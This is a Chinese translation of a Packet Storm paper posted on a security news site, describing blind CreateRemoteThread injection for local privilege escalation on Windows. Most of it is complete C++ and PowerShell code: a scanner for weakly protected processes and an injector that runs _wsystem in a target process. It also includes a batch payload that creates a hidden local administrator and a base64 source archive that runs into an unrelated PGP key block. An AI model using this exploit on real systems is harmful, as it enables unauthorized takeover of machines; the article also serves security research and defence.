Blind Create Remote Thread权限提升

阅读量291735

|评论2

|

发布时间 : 2020-05-12 11:00:32

x
译文声明

本文是翻译文章,文章原作者 packetstormsecurity,文章来源:dl.packetstormsecurity.net

原文地址:https://dl.packetstormsecurity.net/papers/general/Blind_CreateRemoteThread_Escalate.pdf

译文仅供参考,具体内容表达以及含义原文为准。

 

1. 介绍

​ 当前工具旨在检测安全性差的进程,并仅使用OpenProcess[3]和CreateRemoteThread[1]注入它们,而不读取或写入目标进程内存。它有时碰巧有特权进程生成与进程创建线程和进程查询有限的信息流可供任何经过身份验证的用户访问。我们将无法操作目标进程的环境变量、桌面会话或内存。

​ 本文解释了两个工具(scanprocess/injector)的内部结构,这两个工具是本文所介绍的POC攻击。

​ 在本文中,我们将考虑在不同会话中的另一个Windows用户的上下文中,没有任何读/写访问权限的进程,只有最后两个flag。使用的操作系统是windows10新安装的。令人惊讶的是,这种流程的正确性在企业设备中相当常见。我多次成功地运用这项技术将自己提升到本地系统。

 

用例:

  1. Unusual, hopefully hard to detect way to inject process(异常,希望很难发现诸如过程的方式)
  2. Local privilege escalation on poorly secured systems(安全性较差的系统上的本地提权升级)

 

2.发现脆弱的过程

检查权限的最简单方法是使用open process[3]打开具有每个访问权限的进程。这将在“processright”列表上循环,并显示当前用户不拥有的任何进程可以访问或不可以访问的内容。像powerspoit[2]这样的许多工具还没有检查进程的权限。

 std::vector <DWORD > processrights = { 
      DELETE , READ_CONTROL , SYNCHRONIZE , WRITE_DAC , WRITE_OWNER ,
      PROCESS_ALL_ACCESS , PROCESS_CREATE_PROCESS , PROCESS_CREATE_THREAD , 
      PROCESS_DUP_HANDLE , PROCESS_QUERY_INFORMATION ,
      PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_INFORMATION ,
      PROCESS_SET_QUOTA , PROCESS_SUSPEND_RESUME , PROCESS_TERMINATE , 
     PROCESS_VM_OPERATION , PROCESS_VM_READ , PROCESS_VM_WRITE , 
       ACCESS_SYSTEM_SECURITY
};
int main(void) 
{
    for(auto const& pid: GetProcesses()) { 
        if(!IsCurrentUserProcess(pid)) {  
            for(auto const& right: processrights) { 
                HANDLE phendle = OpenProcess(right , FALSE , pid); 
                if(phendle != NULL) { 
                    std::wcout << L"Process: " << GetProcessName(pid) << L"(" 
                       <<
                    pid << L") " << GetProcessSid(pid) << L" " <<
                    processrightsdescription[right] << std::endl;

                    CloseHandle(phendle); 
                }
            }
         }       
     } 
     return 0; 
}

获取流程权限pid

powershell版本:

$MethodDefinition = @’
    [ DllImport (" kernel32 .dll", CharSet = CharSet . Auto )]
    public static extern IntPtr OpenProcess (
        uint dwDesiredAccess ,
        bool bInheritHandle ,
        uint dwProcessId
    );
    [ DllImport (" kernel32 .dll ")]
    public static extern bool CloseHandle (
        IntPtr hObject );
’@
$Kernel32 = Add-Type - MemberDefinition $MethodDefinition - Name ’Kernel32 ’ -
   Namespace ’Win32 ’ - PassThru

$rightList = @{
    PROCESS_TERMINATE = (1);
    PROCESS_CREATE_THREAD = (2);
    PROCESS_VM_OPERATION = (8) ;
    PROCESS_VM_READ = (16) ;
    PROCESS_VM_WRITE = (32) ;
    PROCESS_DUP_HANDLE = (64) ;
    PROCESS_CREATE_PROCESS = (128) ;
    PROCESS_SET_QUOTA = (256) ;
    PROCESS_SET_INFORMATION = (512) ;
    PROCESS_QUERY_INFORMATION = (1024) ;
    PROCESS_SUSPEND_RESUME = (2048) ;
    PROCESS_QUERY_LIMITED_INFORMATION = (4096) ;
    PROCESS_SET_LIMITED_INFORMATION = (8192) ;
    PROCESS_ALL_ACCESS = 4095;
    DELETE = (65536) ;
    READ_CONTROL = (131072) ;
    WRITE_DAC = (262144) ;
    WRITE_OWNER = (524288) ;
    SYNCHRONIZE = (1048576) ;
    STANDARD_RIGHTS_REQUIRED = (983040) ;
    STANDARD_RIGHTS_ALL = (2031616) ;
    SPECIFIC_RIGHTS_ALL = (65535) ;
    ACCESS_SYSTEM_SECURITY = (16777216) ;
}

$procList = Get-CimInstance Win32_Process
foreach ( $proc in $procList ) {
    $procProperties = Invoke-CimMethod - InputObject $proc - MethodName GetOwner
       - ErrorAction SilentlyContinue
    if ( $Null -ne $procProperties ) {
         if ( $procProperties . User -ne $env : UserName ) {
              foreach ( $right in $rightList . Keys ) {
                  $phandle = $Kernel32 :: OpenProcess ( $rightList [ $right ], $FALSE ,
                     $proc . ProcessId );
                  if ( $phandle -ne [ IntPtr ]:: Zero ) {
                       $output = " Process : "+ $proc . ProcessName +" ("+ $proc .
                          ProcessId +") "+ $right
                       Write-Output $output
                       $Kernel32 :: CloseHandle ( $phandle ) | Out-Null
                  }    
              }
        }
    }
}

获取流程权限(pid)

scanprocess.cpp的完整代码包含在附录中。为了能够被利用,这个过程需要在
至少具有以下权利:

  • PROCESS CREATE THREAD(进程创建线程)
  • PROCESS CREATE PROCESS; (进程创建进程)
  • PROCESS QUERY LIMITED INFORMATION(进程查询受限信息)

我们正在考虑下面的例子。您可以使用processhacker[4]进行复制以进行测试:

 

3.注入受害者信息

3.1开发概况

经典的VirtualAllocEx[6]、WriteProcessMemory[5]、CreateRemotethread[1]方法不能用于无法读取/写入进程内存。我们将尝试找到一个已经运行任意代码的地址,不写任何外壳代码,也不知道内存地址空间。最简单的方法执行我们的有效载荷是:

system("path_to_stript");

执行任意命令

我们需要找到2个地址:

  • 指向我们可以在Windows上访问的位置的字符串;
  • 我们的系统调用(msvcrt.dll:wsystem似乎可以很好地执行命令)。

然后,我们需要2的组合以使用字符串作为参数创建指向wsystem的线程。尽管在ASLR中,地址在两个进程之间有很高的概率(接近100%)相同或者不同的用户会话。

攻击模式视图

3.2 定位调用

这是一个简单的部分,注入器将在它自己的内存空间中查找函数的地址,示例代码非常直接:

void * StartAddress = ( void *) GetProcAddress ( LoadLibrary (" msvcrt . dll "), "
   _wsystem ");

找到函数地址

3.3 定位字符串

通常的W/X路径(C:UsersDefault、%temp%、%appdata%),…)将不相关,因为它们不存在于
目标进程。默认情况下,具有子文件夹创建权限的经过身份验证的用户可以访问路径C:。

创建子文件

在Windows系统上,如果您位于同一磁盘上的任何位置,将直接访问路径C:。这个下面的regex将在我们想要的任何DLL中找到一个有趣的路径。在PE中经常加载DLL“shell32.DLL”,文件并包含有趣的字符串:
如果未在目标进程中加载DLL,则可以通过运行LoadlibraryEx强制他加载DLL。在远程进程上。

 strings -eb shell32.dll | grep -P "(\\[a-zA-Z0 -9]{3,20}){2}^"

查找有趣字符串

inject.cpp中已经提供了潜在路径的列表。该程序将搜索可利用的字符串通过搜寻其自己的模块并搜索给定的字符串。以下代码完成工作:

wchar_t * egghunting ( wchar_t * modulename , wchar_t * string )
{
        BYTE * moduleaddress = ( BYTE *) LoadLibraryW ( modulename );
        size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ;
#ifdef __x86_64__
        IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress +
            ntheaderoffset );
#else
        IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress +
            ntheaderoffset );
#endif
        for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i++) {
#ifdef __x86_64__
                PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
                   moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 )
                   * i);
#else
                PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
                   moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 )
                   * i);
#endif
                for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc .
                    VirtualSize + ( size_t ) section -> VirtualAddress ; i ++) {
                          if( wcsicmp (string , ( wchar_t *)& moduleaddress [i]) == 0)
                              {
                                   return ( wchar_t *)& moduleaddress [i];
19                        }
20              }
21     }
22     return NULL ;
23 }

针对扫描程序先前发现的进程的注入程序将返回可利用的字符串:

执行payload

注入停止,现在是在给定路径中复制有效负载的时候了。最简单的利用方法是,具有bat文件的特权用户:

net user /add adminuser adminuserpassword
net localgroup administrators adminuser /add

复制内容到createadminuser.bat 里面。

 

4.源代码生成

包括Dockerfile在内的完整源文件附在附录中,为了构建扫描仪和注入器,只需运行编译injector.sh。根据目标进程的版本,工具有32位和64位版本。

 

5.结论

最新安装版本的Windows 10允许经过身份验证的用户在C:中创建一个文件夹,ASLR选择在分区之间的库地址相同,直到下次重新启动。这两种可能性的结合允许,攻击者将远程进程注入受保护的不良的进程。这也有助于利用BOF。

 

参考链接

  1. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
  2. https://github.com/PowerShellMafia/PowerSploit
  3. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
  4. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
  5. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

附录:

A:scanProcesses.cpp

# include <windows .h>
# include <psapi .h>
# include <sddl .h>
# include <tlhelp32 .h>
# include <wbemidl .h>
# include <vector >
# include <iostream >
# include <map >

std :: map <DWORD , std :: wstring > processrightsdescription = {
     {DELETE , L" DELETE "}, { READ_CONTROL , L" READ_CONTROL "}, { WRITE_DAC , L"
        WRITE_DAC "}, { WRITE_OWNER , L" WRITE_OWNER "},
     {PROCESS_ALL_ACCESS , L" PROCESS_ALL_ACCESS "}, { PROCESS_CREATE_PROCESS , L"
        PROCESS_CREATE_PROCESS "},
     {PROCESS_CREATE_THREAD , L" PROCESS_CREATE_THREAD "}, { PROCESS_DUP_HANDLE , L"
        PROCESS_DUP_HANDLE "},
     {PROCESS_QUERY_INFORMATION , L" PROCESS_QUERY_INFORMATION "}, {
        PROCESS_QUERY_LIMITED_INFORMATION , L" PROCESS_QUERY_LIMITED_INFORMATION "
        },
     {PROCESS_SET_INFORMATION , L" PROCESS_SET_INFORMATION "}, { PROCESS_SET_QUOTA ,
        L"PROCESS_SET_QUOTA "},
     {PROCESS_SUSPEND_RESUME , L" PROCESS_SUSPEND_RESUME "}, { PROCESS_TERMINATE , L"
        PROCESS_TERMINATE "},
     {PROCESS_VM_OPERATION , L" PROCESS_VM_OPERATION "}, { PROCESS_VM_READ , L"
        PROCESS_VM_READ "},
     {PROCESS_VM_WRITE , L" PROCESS_VM_WRITE "}, { SYNCHRONIZE , L" SYNCHRONIZE "}, {
        ACCESS_SYSTEM_SECURITY , L" ACCESS_SYSTEM_SECURITY "}
};

std :: vector <DWORD > processrights = {
     DELETE , READ_CONTROL , SYNCHRONIZE , WRITE_DAC , WRITE_OWNER ,
        PROCESS_ALL_ACCESS ,
     PROCESS_CREATE_PROCESS , PROCESS_CREATE_THREAD , PROCESS_DUP_HANDLE ,
        PROCESS_QUERY_INFORMATION ,
     PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_INFORMATION ,
        PROCESS_SET_QUOTA , PROCESS_SUSPEND_RESUME ,
     PROCESS_TERMINATE , PROCESS_VM_OPERATION , PROCESS_VM_READ , PROCESS_VM_WRITE ,
         ACCESS_SYSTEM_SECURITY
};


std :: vector <DWORD > GetProcesses ( void )
{
     IWbemLocator * pLoc = NULL ;
     IWbemServices * pSvc = NULL ;
     std :: vector <DWORD > retval ;
     if( CoInitializeEx (0, COINIT_MULTITHREADED ) != S_OK ) {
         std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
         return retval ;
     }
     if( CoInitializeSecurity (NULL , -1, NULL , NULL , RPC_C_AUTHN_LEVEL_DEFAULT ,
         RPC_C_IMP_LEVEL_IMPERSONATE , NULL , EOAC_NONE , NULL ) != S_OK ) {
          std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
          return retval ;
     }
     if( CoCreateInstance ( CLSID_WbemLocator , 0, CLSCTX_INPROC_SERVER ,
         IID_IWbemLocator , ( LPVOID *) & pLoc ) != S_OK ) {
          std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
          return retval ;
     }
     if(pLoc -> ConnectServer ( BSTR (L" ROOT \ CIMV2 "), NULL , NULL , 0, 0, 0, 0, & pSvc )
          != S_OK ) {
          std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
          return retval ;
     }
     if( CoSetProxyBlanket (pSvc , RPC_C_AUTHN_WINNT , RPC_C_AUTHZ_NONE , NULL ,
         RPC_C_AUTHN_LEVEL_CALL , RPC_C_IMP_LEVEL_IMPERSONATE , NULL , EOAC_NONE ) !=
          S_OK ) {
          std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
          return retval ;
     }
     std :: wstring querystring (L" select Handle from win32_Process ");
     IEnumWbemClassObject * pEnumerator = NULL ;
     if( pSvc == NULL ) {
          std :: wcout << L" Parsing process error opening blanket : " <<
              GetLastError () << std :: endl ;
          return retval ;
     }
     pSvc -> ExecQuery ( BSTR (L"WQL "), BSTR ( querystring . c_str ()),
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY , NULL , &
        pEnumerator );
     IWbemClassObject * pclsObj = NULL ;
     ULONG uReturn = 0;
     while ( pEnumerator ) {
         pEnumerator -> Next ( WBEM_INFINITE , 1, & pclsObj , & uReturn );
         if (0 == uReturn )
               break ;
         VARIANT vtProp ;
         pclsObj ->Get(L" Handle ", 0, &vtProp , 0, 0);
         DWORD currentpid = std :: stoi ( vtProp . bstrVal );
         if( currentpid != GetCurrentProcessId ()) {
               retval . push_back ( currentpid );
         }
         VariantClear (& vtProp );
         pclsObj -> Release ();
     }
     if( pEnumerator != NULL )
          pEnumerator -> Release ();
     return retval ;
}

std :: wstring GetProcessSid ( DWORD PID)
 {
     std :: wstring retval (L"");
     HANDLE processhandle = OpenProcess ( PROCESS_QUERY_INFORMATION , FALSE , PID );
     if( processhandle == NULL )
          return retval ;
     HANDLE tokenhandle = NULL ;
     OpenProcessToken ( processhandle , TOKEN_QUERY , & tokenhandle );
     if( processhandle == NULL ) {
         CloseHandle ( processhandle );
         return retval ;
     }
     DWORD size = 0;
     GetTokenInformation ( tokenhandle , TokenGroups , NULL , size , & size );
     PTOKEN_USER ptu = ( PTOKEN_USER ) HeapAlloc ( GetProcessHeap () , HEAP_ZERO_MEMORY
        , size );
     if (! GetTokenInformation ( tokenhandle , TokenUser , ptu , size , & size )) {
          CloseHandle ( processhandle );
          CloseHandle ( tokenhandle );
          return retval ;
     }
     wchar_t *SID ;
     if (! ConvertSidToStringSidW (ptu -> User .Sid , &SID )) {
           std :: wcout << GetLastError () << L" " << std :: endl ;
           CloseHandle ( processhandle );
           CloseHandle ( tokenhandle );
           return retval ;
     }
     retval += SID ;
     LocalFree (SID);
     CloseHandle ( tokenhandle );
     CloseHandle ( processhandle );
     return retval ;
}

bool IsCurrentUserProcess ( DWORD PID )
{
    std :: wstring currsid = GetProcessSid ( GetCurrentProcessId ());
    std :: wstring sid = GetProcessSid (PID);
     if( currsid . compare (sid ) == 0)
          return true ;
    return false ;
}

std :: wstring GetProcessName ( DWORD PID)
{
     PROCESSENTRY32W processInfo ;
     processInfo . dwSize = sizeof ( processInfo );
     HANDLE processesSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS , 0);
     if ( processesSnapshot == INVALID_HANDLE_VALUE )
          return std :: wstring (L"");
     for ( BOOL bok= Process32FirstW ( processesSnapshot , & processInfo );bok; bok =
          Process32NextW ( processesSnapshot , & processInfo )) {
           if( PID == processInfo . th32ProcessID ) {
               CloseHandle ( processesSnapshot );
               return std :: wstring ( processInfo . szExeFile );
           }
     }
     CloseHandle ( processesSnapshot );
     return std :: wstring (L"");
}

 int main ( void )
{
     for ( auto const & pid: GetProcesses ()) {
           std :: cout << " Scanning : " << pid << std :: endl ;
           if (! IsCurrentUserProcess (pid )) {
                 for ( auto const & right : processrights ) {
                       HANDLE phendle = OpenProcess (right , FALSE , pid );
                       if( phendle != NULL ) {
                            std :: wcout << L" Process : " << GetProcessName (pid) << L"("
                                << pid << L") " << GetProcessSid (pid ) << L" " <<
                            CloseHandle ( phendle );
                        }
                    }
            }
    }
    std :: cout << " done " << std :: endl ;
    return 0;
 }

B:inject.cpp

#include <windows .h>
#include <psapi .h>
#include <stdio .h>
#include <vector >

//match a path :
//strings -eb shell32 .dll | grep -P "(\\[a-zA -Z0 -9]{3 ,20}) {2}^"

wchar_t * pathlist [] = {
        (wchar_t *)L"\ Explorer \ SmallIcons ",
        (wchar_t *)L"\ Tcpip \ Parameters ",
        (wchar_t *)L"\ VarFileInfo \ Translation ",
        (wchar_t *)L"\ ComputerName \ ComputerName ",
        (wchar_t *)L"\ Control \ WinInit ",
        (wchar_t *)L"\ AppCompatFlags \ InstalledSDB ",
        (wchar_t *)L"\ Machine \ Software ",
        (wchar_t *)L"\ Device \ CdRom "
};

/* char * egghunting ( char * modulename , char * string ) // ascii version
{
          BYTE * moduleaddress = ( BYTE *) LoadLibraryA ( modulename );
          size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ;
#ifdef __x86_64__
          IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress +
              ntheaderoffset );
#else
          IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress +
              ntheaderoffset );
#endif
          for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i ++) {
#ifdef __x86_64__
                PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
                   moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 )
                   * i);
#else
                PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
                   moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 )
                   * i);
#endif
                for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc .
                   VirtualSize ; i ++) {
                        if( stricmp ( string , ( char *)& moduleaddress [i]) == 0) {
                                 return ( char *)& moduleaddress [i];
                            }
                }
        }
        return NULL ;
 }*/
wchar_t * egghunting ( wchar_t * modulename , wchar_t * string )
{
        BYTE * moduleaddress = ( BYTE *) LoadLibraryW ( modulename );
        size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ;
#ifdef __x86_64__
        IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress +
            ntheaderoffset );
#else
        IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress +
            ntheaderoffset );
#endif
        for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i++) {
#ifdef __x86_64__
                PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
                   moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 )
                   * i);
#else
                PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
                   moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 )
                   * i);
#endif
                for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc .
                    VirtualSize + ( size_t ) section -> VirtualAddress ; i ++) {
                         if( wcsicmp (string , ( wchar_t *)& moduleaddress [i]) == 0)
                             {
                                  return ( wchar_t *)& moduleaddress [i];
                         }
                }
        }
        return NULL ;
}

int main (int argc , char ** argv , char ** envp )
{
         void * arg1 = NULL ;
         DWORD ThreadId ;
         void * StartAddress ;
         BOOL arch ;
         if( argc != 2) {
                  printf (" bad usage n");
                  return 1;
         }
#ifdef __x86_64__
        printf (" Starting x86_64 mode n");
#else
        printf (" Starting i386 mode n");
#endif
        HANDLE remoteprocess = OpenProcess ( PROCESS_CREATE_THREAD |
           PROCESS_QUERY_LIMITED_INFORMATION , FALSE , atoi ( argv [1]) );
        if( remoteprocess == NULL ) {
                 printf (" Failed to open process : %s (% lu)n", argv [1] ,
                    GetLastError ());
                 return 1;
        }
        IsWow64Process ( remoteprocess , & arch );
#ifdef __x86_64__
    if( arch ) {
         printf (" Target is 32 bits . Recompile men");
         CloseHandle ( remoteprocess );
         return 0;
}
#else
    if (! arch ) {
         printf (" Target is 64 bits . Recompile men");
         CloseHandle ( remoteprocess );
         return 0;
}
#endif
         //Find interresting sting && execute
         wchar_t dllname [] = L" shell32 . dll ";
         wchar_t * path ;
         for ( size_t i=0; i< sizeof ( pathlist )/ sizeof ( wchar_t *); i++) {
                   path = pathlist [i];
                   arg1 = ( void *) egghunting ( dllname , path );
                   if( arg1 != NULL ) break ;
                   wprintf (L" string "% ls " not found in: "% ls " n", path ,
                      dllname );
         }
         if( arg1 == NULL ) {
                  wprintf (L" Unable to locate path n");
                  CloseHandle ( remoteprocess );
                  return 1;
         } else {
                  wprintf (L" found : %lsn", ( wchar_t *) arg1 );
         }
         StartAddress = ( void *) GetProcAddress ( LoadLibrary (" msvcrt . dll "), "
            _wsystem ");
         wprintf (L" Injection Ready ! Put your executable in %ls {. exe ,. com ,. bat ,.
            scr ,...} , then press enter n", path );
         getchar ();
         if( CreateRemoteThread ( remoteprocess , NULL , 0, ( LPTHREAD_START_ROUTINE )
             StartAddress , ( void *) arg1 , 0, & ThreadId ) == NULL ){
                  printf (" Failed to create remote thread : %lun", GetLastError ())
                     ;
         } else {
                  printf (" Done !n");
         }
         CloseHandle ( remoteprocess );
         return 0;
}

C:Fullcode.zip.b64

你可以用docker自己编译。

UEsDBAoAAAAAAMu1o1AAAAAAAAAAAAAAAAAFABwAY29kZS9VVAkAA44fr16OH69edXgLAAEE6AMA
AAToAwAAUEsDBBQAAAAIAMKMNVAO6HkZswAAAPYBAAAWABwAY29kZS9idWlsZF9pbmplY3Rvci5z
aFVUCQADywwnXpYer151eAsAAQToAwAABOgDAACNUN0KwiAUvt9TnNYuKtiEii4G9Qy9QTg9lbXN
UBuD6N1zpGAW1ZXw/R6/8YhUoiUV1cck4ZKdUUF1FTWH3IBoT8iMVLsnUiSCr7OJUzGF1GCkmfoM
doE0uwl+L4mS0hAvW8wL7DGFHDYQYIaqX87V8t1psS9OzWi7VZKh1qjD4pj4NyM8ISaCDNVA3rmY
1IOioQccqNfBytqOqE1i7dB3+3iTG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ry4UZa0A70k0gOToG/P+/1x7+jz+3z1KTXe3ez2fdjK26ORfoCT
XcsxABEBAAGJAbwEGAEKACYWIQTt+urBjayB0F5eVWgwcvwSKqdqagUCXicj4QIb
DAUJA8JnAAAKCRAwcvwSKqdqasPKC/4pYGhS5c/9ekRGG69e5b2awmIiupz8K96W
0S+zo8dV52TFtKaLC4/lFDqm8fPL8fIWwRPj0ciVLSJTIfpdY1Z2om5BSwmpEZT9
Bfik3x/Ler2XJbHAR/6xLPvUOTBdqpopHzLE8p2qIF3NeWldtttPldN+lpbFX2RT
NuxHGrL3EOLvUNPzbuVMyePCbB2jiipLU7/+r75tFLisoCBD2DYi6d/O8rY/U3Nn
hSWz1qvAv5B5cW4c3z9VawhOZgV7i1ZRqWcAowOd5DeoGWhCsA4liABnSbKZLYA5
J6qA5/VdTjAgrprdKKwPPOEWP4beZARNl2SWQAMpKUqc5ZGg3GeKZhiG4ntDWFOa
wRw9PaZpFI8a+pQD7Scw6HBHWKZckcCGM6bM+3bPHQJtcenq03HT0pMtbcZNCwcI
Y7Kbu8Y6Fkg24ymzp0amvpfLkzJ0UXLoWDxj8zNpTCbn8r1zFvV+MUo82ynimZiu
K/1Imesf2v2v9NwDAPtUj7eT2pJEbXg=
=IXgh

——-END PGP PUBLIC KEY BLOCK——-

本文翻译自dl.packetstormsecurity.net 原文链接。如若转载请注明出处。
分享到:微信
+13赞
收藏
Polar bear
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66